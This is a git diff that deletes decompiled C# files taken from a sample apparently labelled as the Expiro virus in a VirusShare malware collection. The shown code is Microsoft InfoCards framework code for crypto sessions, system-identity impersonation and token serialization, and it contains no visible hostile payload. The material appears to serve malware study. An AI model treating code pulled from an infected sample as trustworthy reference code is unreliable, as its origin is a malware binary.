- } - } - this.m_isLoaded = true; - } - - protected void ThrowIfNotLoaded() => InfoCardTrace.Assert(this.m_isLoaded, "store is not loaded"); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/SymmetricCryptoSession.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/SymmetricCryptoSession.cs deleted file mode 100644 index 1364a228..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/SymmetricCryptoSession.cs +++ /dev/null @@ -1,83 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.SymmetricCryptoSession -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Diagnostics; -using System.IO; -using System.Security.Cryptography; -using System.Security.Principal; - -namespace Microsoft.InfoCards -{ - internal class SymmetricCryptoSession : CryptoSession - { - private SymmetricAlgorithm m_alg; - - public SymmetricCryptoSession( - Process process, - DateTime expiration, - WindowsIdentity identity, - byte[] key) - : base(process, expiration, identity, (object) key, CryptoSession.SessionType.Symmetric) - { - this.m_alg = (SymmetricAlgorithm) new RijndaelManaged(); - this.m_alg.Key = key; - } - - protected override void OnDispose() - { - this.m_alg.Clear(); - this.m_alg.Dispose(); - this.m_alg = (SymmetricAlgorithm) null; - } - - protected override void OnWrite(BinaryWriter bwriter) - { - bwriter.Write(this.m_alg.KeySize); - bwriter.Write(this.m_alg.BlockSize); - bwriter.Write(this.m_alg.FeedbackSize); - } - - public byte[] GenerateDerivedKey( - string algorithmUri, - byte[] label, - byte[] nonce, - int derivedKeyLength, - int offset) - { - if (algorithmUri == "http://schemas.xmlsoap.org/ws/2005/02/sc/dk/p_sha1" || algorithmUri == "http://docs.oasis-open.org/ws-sx/ws-secureconversation/200512/dk/p_sha1") - return new Psha1DerivedKeyGenerator(this.m_alg.Key).GenerateDerivedKey(label, nonce, derivedKeyLength, offset); - throw InfoCardTrace.ThrowHelperWarning((Exception) new InfoCardArgumentException(SR.GetString("ServiceUnsupportedKeyDerivationAlgorithm", (object) algorithmUri))); - } - - public TransformCryptoSession GetCryptoTransform( - CipherMode mode, - PaddingMode padding, - int feedbackSize, - SymmetricCryptoSession.Direction direction, - byte[] iv) - { - this.m_alg.Mode = mode; - this.m_alg.Padding = padding; - this.m_alg.IV = iv; - return new TransformCryptoSession(this.ProcessObj, this.Expiration, this.Identity, SymmetricCryptoSession.Direction.Encrypt != direction ? this.m_alg.CreateDecryptor() : this.m_alg.CreateEncryptor()); - } - - public HashCryptoSession GetKeyedHash() - { - KeyedHashAlgorithm hash = (KeyedHashAlgorithm) new HMACSHA1(this.m_alg.Key); - hash.Initialize(); - return new HashCryptoSession(this.ProcessObj, this.Expiration, this.Identity, hash); - } - - public enum Direction - { - Encrypt = 1, - Decrypt = 2, - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/SystemIdentity.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/SystemIdentity.cs deleted file mode 100644 index b40d065e..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/SystemIdentity.cs +++ /dev/null @@ -1,62 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.SystemIdentity -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Globalization; -using System.Runtime.InteropServices; -using System.Security.Principal; - -namespace Microsoft.InfoCards -{ - internal sealed class SystemIdentity : IDisposable - { - private bool m_isDisposed; - private WindowsIdentity m_identity; - private object m_sync; - public static readonly IdentityReference LsaIdentityReference = (IdentityReference) new SecurityIdentifier("SY"); - - public SystemIdentity(bool throwIfAlreadySystem) - { - this.m_sync = new object(); - WindowsIdentity current = WindowsIdentity.GetCurrent(); - if (current.IsSystem && throwIfAlreadySystem) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidOperationException(SR.GetString("UserIdentityEqualSystemNotSupported"))); - if (!current.IsSystem) - { - this.m_identity = current; - if (NativeMethods.RevertToSelf()) - return; - InfoCardTrace.Assert(false, "Identity management failure"); - } - else - InfoCardTrace.Assert(null == this.m_identity, "m_identity should be null when we are system and throwIfAlreadySystem == false"); - } - - void IDisposable.Dispose() - { - if (this.m_isDisposed) - return; - lock (this.m_sync) - { - if (this.m_isDisposed) - return; - this.m_isDisposed = true; - if (this.m_identity == null) - return; - if (!NativeMethods.ImpersonateLoggedOnUser(this.m_identity.Token)) - { - int forLastWin32Error = Marshal.GetHRForLastWin32Error(); - InfoCardTrace.FailFast(string.Format((IFormatProvider) CultureInfo.InvariantCulture, SR.GetString("StoreImpersonateLoggedOnUserFailed"), new object[1] - { - (object) forLastWin32Error - })); - } - this.m_identity.Dispose(); - } - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/SystemShuttingDownException.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/SystemShuttingDownException.cs deleted file mode 100644 index ed4990f6..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/SystemShuttingDownException.cs +++ /dev/null @@ -1,36 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.SystemShuttingDownException -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using System; -using System.Runtime.Serialization; - -namespace Microsoft.InfoCards -{ - internal class SystemShuttingDownException : InfoCardBaseException - { - private const int HRESULT = -1073413873; - - public SystemShuttingDownException() - : base(-1073413873) - { - } - - public SystemShuttingDownException(string message) - : base(-1073413873, message) - { - } - - public SystemShuttingDownException(string message, Exception inner) - : base(-1073413873, message, inner) - { - } - - protected SystemShuttingDownException(SerializationInfo si, StreamingContext sc) - : base(-1073413873, si, sc) - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/TokenCreationException.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/TokenCreationException.cs deleted file mode 100644 index e6e9774e..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/TokenCreationException.cs +++ /dev/null @@ -1,36 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.TokenCreationException -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using System; -using System.Runtime.Serialization; - -namespace Microsoft.InfoCards -{ - internal class TokenCreationException : InfoCardBaseException - { - private const int HRESULT = -1073413872; - - public TokenCreationException() - : base(-1073413872) - { - } - - public TokenCreationException(string message) - : base(-1073413872, message) - { - } - - public TokenCreationException(string message, Exception inner) - : base(-1073413872, message, inner) - { - } - - protected TokenCreationException(SerializationInfo si, StreamingContext sc) - : base(-1073413872, si, sc) - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/TokenCreationParameter.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/TokenCreationParameter.cs deleted file mode 100644 index b678ad51..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/TokenCreationParameter.cs +++ /dev/null @@ -1,349 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.TokenCreationParameter -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections.Generic; -using System.IO; -using System.ServiceModel; -using System.ServiceModel.Channels; -using System.Text; -using System.Xml; -using System.Xml.Serialization; - -namespace Microsoft.InfoCards -{ - internal class TokenCreationParameter : IXmlSerializable - { - private TokenFactoryCredentialType m_credentialType; - private EndpointAddress m_epr; - private string m_hint; - private Dictionary m_selectorMap; - - public TokenCreationParameter() => this.m_selectorMap = new Dictionary(); - - public TokenFactoryCredentialType CredentialType - { - get => this.m_credentialType; - set => this.m_credentialType = value; - } - - public EndpointAddress Epr - { - get => this.m_epr; - set => this.m_epr = value; - } - - public Dictionary CredentialSelectors => this.m_selectorMap; - - public bool IsComplete() - { - if ((EndpointAddress) null == this.m_epr) - return false; - bool flag = true; - if (this.m_credentialType == TokenFactoryCredentialType.X509CertificateCredential || this.m_credentialType == TokenFactoryCredentialType.SelfIssuedCredential) - flag = flag && this.m_selectorMap.Count > 0; - return flag; - } - - public void ThrowIfNotComplete() - { - if (!this.IsComplete()) - throw InfoCardTrace.ThrowHelperError((Exception) new SerializationIncompleteException(this.GetType())); - } - - public void Serialize(BinaryWriter writer) - { - this.ThrowIfNotComplete(); - writer.Write((int) this.m_credentialType); - Utility.SerializeString(writer, this.m_hint); - Utility.SerializeString(writer, TokenCreationParameter.CreateEprXmlString(this.m_epr)); - writer.Write(this.m_selectorMap.Count); - if (this.m_selectorMap.Count <= 0) - return; - foreach (CredentialSelector credentialSelector in this.m_selectorMap.Values) - credentialSelector.Serialize(writer); - } - - public void Deserialize(BinaryReader reader) - { - TokenFactoryCredentialType factoryCredentialType = (TokenFactoryCredentialType) reader.ReadInt32(); - string str = Utility.DeserializeString(reader); - EndpointAddress eprFromString = TokenCreationParameter.CreateEprFromString(Utility.DeserializeString(reader)); - int num = reader.ReadInt32(); - Dictionary dictionary = new Dictionary(); - for (int index = 0; index < num; ++index) - { - CredentialSelector credentialSelector = new CredentialSelector(); - credentialSelector.Deserialize(reader); - dictionary.Add(credentialSelector.Type, credentialSelector); - } - this.m_credentialType = factoryCredentialType; - this.m_epr = eprFromString; - this.m_selectorMap = dictionary; - this.m_hint = str; - this.ThrowIfNotComplete(); - } - - private static EndpointAddress CreateEprFromString(string value) - { - using (MemoryStream input = new MemoryStream(Encoding.UTF8.GetBytes(value))) - { - using (XmlDictionaryReader readerWithQuotas = Utility.CreateReaderWithQuotas((Stream) input)) - { - try - { - return EndpointAddress.ReadFrom(readerWithQuotas); - } - catch (InfoCardBaseException ex) - { - throw; - } - catch (Exception ex) - { - if (!InfoCardTrace.IsFatal(ex)) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidCardException(SR.GetString("ServiceInvalidCredentialSelector"), ex)); - throw; - } - } - } - } - - private static string CreateEprXmlString(EndpointAddress address) - { - using (MemoryStream w = new MemoryStream()) - { - using (XmlWriter writer = (XmlWriter) new XmlTextWriter((Stream) w, Encoding.Unicode)) - { - address.WriteTo(AddressingVersion.WSAddressing10, writer); - writer.Flush(); - w.Flush(); - return Encoding.Unicode.GetString(w.GetBuffer(), 2, Convert.ToInt32(w.Length - 2L)); - } - } - } - - public System.Xml.Schema.XmlSchema GetSchema() => (System.Xml.Schema.XmlSchema) null; - - public void WriteXml(XmlWriter writer) - { - if (writer == null) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (writer)); - InfoCardTrace.ThrowInvalidArgumentConditional(!this.IsComplete(), "IsComplete"); - writer.WriteStartElement("TokenService", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - this.m_epr.WriteTo(AddressingVersion.WSAddressing10, writer); - writer.WriteStartElement("UserCredential", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - if (!string.IsNullOrEmpty(this.m_hint)) - { - writer.WriteStartElement("DisplayCredentialHint", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - writer.WriteString(this.m_hint); - writer.WriteEndElement(); - } - switch (this.m_credentialType) - { - case TokenFactoryCredentialType.UserNamePasswordCredential: - this.WriteUserNameCredential(writer); - break; - case TokenFactoryCredentialType.SelfIssuedCredential: - this.WriteSelfIssuedCredential(writer); - break; - case TokenFactoryCredentialType.X509CertificateCredential: - this.WriteX509CertificateCredential(writer); - break; - case TokenFactoryCredentialType.KerberosCredential: - this.WriteKerberosCredential(writer); - break; - default: - InfoCardTrace.ThrowInvalidArgumentConditional(true, "CredentialType"); - break; - } - writer.WriteEndElement(); - writer.WriteEndElement(); - } - - public void WriteUserNameCredential(XmlWriter writer) - { - writer.WriteStartElement("UsernamePasswordCredential", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - if (this.m_selectorMap.ContainsKey(CredentialSelectorType.UserNameSelector)) - this.m_selectorMap[CredentialSelectorType.UserNameSelector].WriteXml(writer); - writer.WriteEndElement(); - } - - public void WriteKerberosCredential(XmlWriter writer) - { - writer.WriteStartElement("KerberosV5Credential", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - writer.WriteEndElement(); - } - - public void WriteSelfIssuedCredential(XmlWriter writer) - { - writer.WriteStartElement("SelfIssuedCredential", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - if (this.m_selectorMap.ContainsKey(CredentialSelectorType.SelfIssuedCardIdSelector)) - this.m_selectorMap[CredentialSelectorType.SelfIssuedCardIdSelector].WriteXml(writer); - writer.WriteEndElement(); - } - - public void WriteX509CertificateCredential(XmlWriter writer) - { - writer.WriteStartElement("X509V3Credential", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - if (this.m_selectorMap.ContainsKey(CredentialSelectorType.X509CertificateIssuerNameSelector) && this.m_selectorMap.ContainsKey(CredentialSelectorType.X509CertificateIssuerSerialNoSelector)) - { - writer.WriteStartElement("X509Data", "http://www.w3.org/2000/09/xmldsig#"); - writer.WriteStartElement("X509IssuerSerial", "http://www.w3.org/2000/09/xmldsig#"); - this.m_selectorMap[CredentialSelectorType.X509CertificateIssuerNameSelector].WriteXml(writer); - this.m_selectorMap[CredentialSelectorType.X509CertificateIssuerSerialNoSelector].WriteXml(writer); - writer.WriteEndElement(); - writer.WriteEndElement(); - } - else if (this.m_selectorMap.ContainsKey(CredentialSelectorType.X509CertificateKeyHashSelector)) - { - writer.WriteStartElement("X509Data", "http://www.w3.org/2000/09/xmldsig#"); - this.m_selectorMap[CredentialSelectorType.X509CertificateKeyHashSelector].WriteXml(writer); - writer.WriteEndElement(); - } - writer.WriteEndElement(); - } - - public void ReadXml(XmlReader reader) - { - if (!reader.IsStartElement("TokenService", "http://schemas.xmlsoap.org/ws/2005/05/identity")) - throw InfoCardTrace.ThrowHelperError((Exception) new XmlException(SR.GetString("UnexpectedElement"))); - reader.ReadStartElement(); - if (!(reader.LocalName == "EndpointReference")) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidCardException(SR.GetString("ServiceInvalidCredentialSelector"))); - try - { - this.m_epr = EndpointAddress.ReadFrom(XmlDictionaryReader.CreateDictionaryReader(reader)); - } - catch (InfoCardBaseException ex) - { - throw; - } - catch (Exception ex) - { - if (!InfoCardTrace.IsFatal(ex)) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidCardException(SR.GetString("ServiceInvalidCredentialSelector"), ex)); - throw; - } - if ((EndpointAddress) null != this.m_epr && (EndpointAddress) null == Utility.DeriveMexAddress(this.m_epr)) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidCardException(SR.GetString("ServiceEprDoesNotHaveValidMetadata"))); - if (reader.LocalName == "UserCredential") - reader.ReadStartElement(); - if (reader.LocalName == "DisplayCredentialHint") - this.m_hint = this.ReadDisplayCredentialHint(reader); - switch (reader.LocalName) - { - case "UsernamePasswordCredential": - this.CredentialType = TokenFactoryCredentialType.UserNamePasswordCredential; - if (!reader.IsEmptyElement) - { - while (reader.Read() && (!(reader.LocalName == "UsernamePasswordCredential") || reader.NodeType != XmlNodeType.EndElement)) - { - if (reader.LocalName == "Username") - { - CredentialSelector credentialSelector = new CredentialSelector(); - credentialSelector.ReadXml(reader); - if (credentialSelector.IsComplete()) - { - this.CredentialSelectors.Add(credentialSelector.Type, credentialSelector); - break; - } - break; - } - } - break; - } - reader.ReadStartElement(); - break; - case "KerberosV5Credential": - this.CredentialType = TokenFactoryCredentialType.KerberosCredential; - if (!reader.IsEmptyElement) - { - while (reader.Read() && (!(reader.LocalName == "KerberosV5Credential") || reader.NodeType != XmlNodeType.EndElement)) - { - if (reader.LocalName == "UserPrincipalName") - { - CredentialSelector credentialSelector = new CredentialSelector(); - credentialSelector.ReadXml(reader); - if (credentialSelector.IsComplete()) - { - this.CredentialSelectors.Add(credentialSelector.Type, credentialSelector); - break; - } - break; - } - } - break; - } - reader.ReadStartElement(); - break; - case "SelfIssuedCredential": - this.CredentialType = TokenFactoryCredentialType.SelfIssuedCredential; - reader.ReadStartElement(); - CredentialSelector credentialSelector1 = new CredentialSelector(); - credentialSelector1.ReadXml(reader); - if (credentialSelector1.IsComplete()) - this.CredentialSelectors.Add(credentialSelector1.Type, credentialSelector1); - reader.ReadEndElement(); - break; - case "X509V3Credential": - this.CredentialType = TokenFactoryCredentialType.X509CertificateCredential; - this.ReadX509V3CredentialElement(reader); - reader.ReadEndElement(); - break; - default: - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidCardException(SR.GetString("NoAuthenticationServicesInCard"))); - } - reader.ReadEndElement(); - } - - public string ReadDisplayCredentialHint(XmlReader reader) => reader.IsStartElement("DisplayCredentialHint", "http://schemas.xmlsoap.org/ws/2005/05/identity") ? reader.ReadElementContentAsString().Trim() : throw InfoCardTrace.ThrowHelperError((Exception) new XmlException(SR.GetString("UnexpectedElement"))); - - private void ReadX509V3CredentialElement(XmlReader reader) - { - if (!reader.IsStartElement("X509V3Credential", "http://schemas.xmlsoap.org/ws/2005/05/identity")) - throw InfoCardTrace.ThrowHelperError((Exception) new XmlException(SR.GetString("UnexpectedElement"))); - reader.ReadStartElement(); - if (!("http://www.w3.org/2000/09/xmldsig#" == reader.NamespaceURI) || !("X509Data" == reader.LocalName)) - return; - while (reader.Read()) - { - if (reader.IsStartElement("X509IssuerSerial", "http://www.w3.org/2000/09/xmldsig#")) - { - reader.ReadStartElement(); - CredentialSelector credentialSelector1 = new CredentialSelector(); - credentialSelector1.ReadXml(reader); - CredentialSelector credentialSelector2 = new CredentialSelector(); - credentialSelector2.ReadXml(reader); - if (credentialSelector2.IsComplete() && credentialSelector1.IsComplete()) - { - this.CredentialSelectors.Add(credentialSelector1.Type, credentialSelector1); - this.CredentialSelectors.Add(credentialSelector2.Type, credentialSelector2); - } - reader.ReadEndElement(); - break; - } - if (reader.IsStartElement("KeyIdentifier", "http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd")) - { - CredentialSelector credentialSelector = new CredentialSelector(); - credentialSelector.ReadXml(reader); - if (credentialSelector.IsComplete()) - { - this.CredentialSelectors.Add(credentialSelector.Type, credentialSelector); - break; - } - break; - } - } - while (!("X509Data" == reader.LocalName) || !("http://www.w3.org/2000/09/xmldsig#" == reader.NamespaceURI) || XmlNodeType.EndElement != reader.NodeType) - { - if (!reader.Read()) - return; - } - reader.ReadEndElement(); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/TokenDescriptor.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/TokenDescriptor.cs deleted file mode 100644 index b46acd4f..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/TokenDescriptor.cs +++ /dev/null @@ -1,105 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.TokenDescriptor -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using System; -using System.Collections.Generic; -using System.Collections.ObjectModel; -using System.IO; -using System.Security.Cryptography; -using System.Xml; - -namespace Microsoft.InfoCards -{ - internal class TokenDescriptor : IDisposable - { - private string m_tokenId; - private DateTime m_effectiveTime; - private DateTime m_expirationTime; - private XmlElement m_protectedToken; - private DisplayToken m_displayToken; - private SymmetricAlgorithm m_symmetricProof; - private string m_internalTokenReference; - private string m_externalTokenReference; - private List m_disclosedClaims; - private bool m_disposed; - private object m_sync; - - public TokenDescriptor( - string tokenId, - DateTime effectiveTime, - DateTime expirationTime, - XmlElement protectedToken, - DisplayToken displayToken, - SymmetricAlgorithm symmetricProof, - string internalTokenReference, - string externalTokenReference, - IEnumerable disclosedClaims) - { - this.m_sync = new object(); - this.m_tokenId = tokenId; - this.m_effectiveTime = effectiveTime; - this.m_expirationTime = expirationTime; - this.m_protectedToken = protectedToken; - this.m_displayToken = displayToken; - this.m_symmetricProof = symmetricProof; - this.m_internalTokenReference = internalTokenReference; - this.m_externalTokenReference = externalTokenReference; - this.m_disclosedClaims = new List(disclosedClaims); - } - - public ReadOnlyCollection DisclosedClaims => this.m_disclosedClaims.AsReadOnly(); - - public string TokenId => this.m_tokenId; - - public DateTime EffectiveTime => this.m_effectiveTime; - - public DateTime ExpirationTime => this.m_expirationTime; - - public string InternalTokenReference => this.m_internalTokenReference; - - public string ExternalTokenReference => this.m_externalTokenReference; - - public XmlElement ProtectedToken => this.m_protectedToken; - - public DisplayToken DisplayToken => this.m_displayToken; - - public SymmetricAlgorithm SymmetricProof => this.m_symmetricProof; - - public void Write(BinaryWriter bwriter) - { - bwriter.Write(this.m_effectiveTime.ToFileTimeUtc()); - bwriter.Write(this.m_expirationTime.ToFileTimeUtc()); - Utility.SerializeString(bwriter, this.m_protectedToken.OuterXml); - Utility.SerializeString(bwriter, this.m_internalTokenReference); - Utility.SerializeString(bwriter, this.m_externalTokenReference); - } - - public void Dispose() - { - if (this.m_disposed) - return; - lock (this.m_sync) - { - if (this.m_disposed) - return; - this.m_disposed = true; - if (this.m_symmetricProof != null) - { - this.m_symmetricProof.Dispose(); - this.m_symmetricProof = (SymmetricAlgorithm) null; - } - this.m_protectedToken = (XmlElement) null; - this.m_expirationTime = DateTime.MinValue; - this.m_effectiveTime = DateTime.MinValue; - this.m_tokenId = (string) null; - this.m_externalTokenReference = (string) null; - this.m_internalTokenReference = (string) null; - this.m_disclosedClaims = (List) null; - this.m_displayToken = (DisplayToken) null; - } - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/TokenFactoryBase.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/TokenFactoryBase.cs deleted file mode 100644 index 403f9797..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/TokenFactoryBase.cs +++ /dev/null @@ -1,44 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.TokenFactoryBase -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -namespace Microsoft.InfoCards -{ - internal abstract class TokenFactoryBase : ITokenFactory - { - private bool m_aborted; - - public bool IsAborted => this.m_aborted; - - public TokenDescriptor CreateToken( - InfoCard infoCard, - TokenFactoryCredential credential, - InfoCardPolicy policy, - bool discloseOptional) - { - TokenCreationParameter parameters = (TokenCreationParameter) null; - if (credential != null && -1 != credential.ParameterIndex) - parameters = infoCard.CreationParameters[credential.ParameterIndex]; - return this.ProduceToken(infoCard, parameters, credential, policy, discloseOptional); - } - - public void Abort() - { - this.OnAbort(); - this.m_aborted = true; - } - - protected abstract TokenDescriptor ProduceToken( - InfoCard card, - TokenCreationParameter parameters, - TokenFactoryCredential credential, - InfoCardPolicy policy, - bool discloseOptional); - - protected virtual void OnAbort() - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/TokenFactoryCredential.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/TokenFactoryCredential.cs deleted file mode 100644 index a62c9c08..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/TokenFactoryCredential.cs +++ /dev/null @@ -1,87 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.TokenFactoryCredential -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.IO; - -namespace Microsoft.InfoCards -{ - internal abstract class TokenFactoryCredential : IDisposable - { - public const int NoCredential = -1; - private TokenFactoryCredentialType m_type; - private Uri m_cardId; - private int m_paramIndex; - private int m_lcid; - - protected TokenFactoryCredential(TokenFactoryCredentialType type) => this.m_type = type; - - public void Dispose() => this.Dispose(true); - - public virtual void Dispose(bool disposing) - { - } - - public static TokenFactoryCredential CreateFrom( - BinaryReader reader, - UIAgentRequest request, - int lcid) - { - TokenFactoryCredential from; - switch (reader.ReadInt32()) - { - case -1: - from = (TokenFactoryCredential) null; - break; - case 1: - from = (TokenFactoryCredential) new UserNameTokenFactoryCredential(); - from.Deserialize(reader); - break; - case 2: - from = (TokenFactoryCredential) new SelfIssuedTokenFactoryCredential(); - from.Deserialize(reader); - break; - case 3: - from = (TokenFactoryCredential) new X509CertificateTokenFactoryCredential(request); - from.Deserialize(reader); - break; - case 4: - from = (TokenFactoryCredential) new KerberosTokenFactoryCredential(); - from.Deserialize(reader); - break; - default: - InfoCardTrace.ThrowInvalidArgumentConditional(true, "CredentialType"); - from = (TokenFactoryCredential) null; - break; - } - if (from != null) - from.LCID = lcid; - return from; - } - - public int ParameterIndex => this.m_paramIndex; - - public TokenFactoryCredentialType CredentialType => this.m_type; - - public int LCID - { - get => this.m_lcid; - set => this.m_lcid = value; - } - - public Uri CardId => this.m_cardId; - - private void Deserialize(BinaryReader reader) - { - this.m_cardId = new Uri(Utility.DeserializeString(reader)); - this.m_paramIndex = reader.ReadInt32(); - this.DeserializeData(reader); - } - - protected abstract void DeserializeData(BinaryReader reader); - } -} diff --git 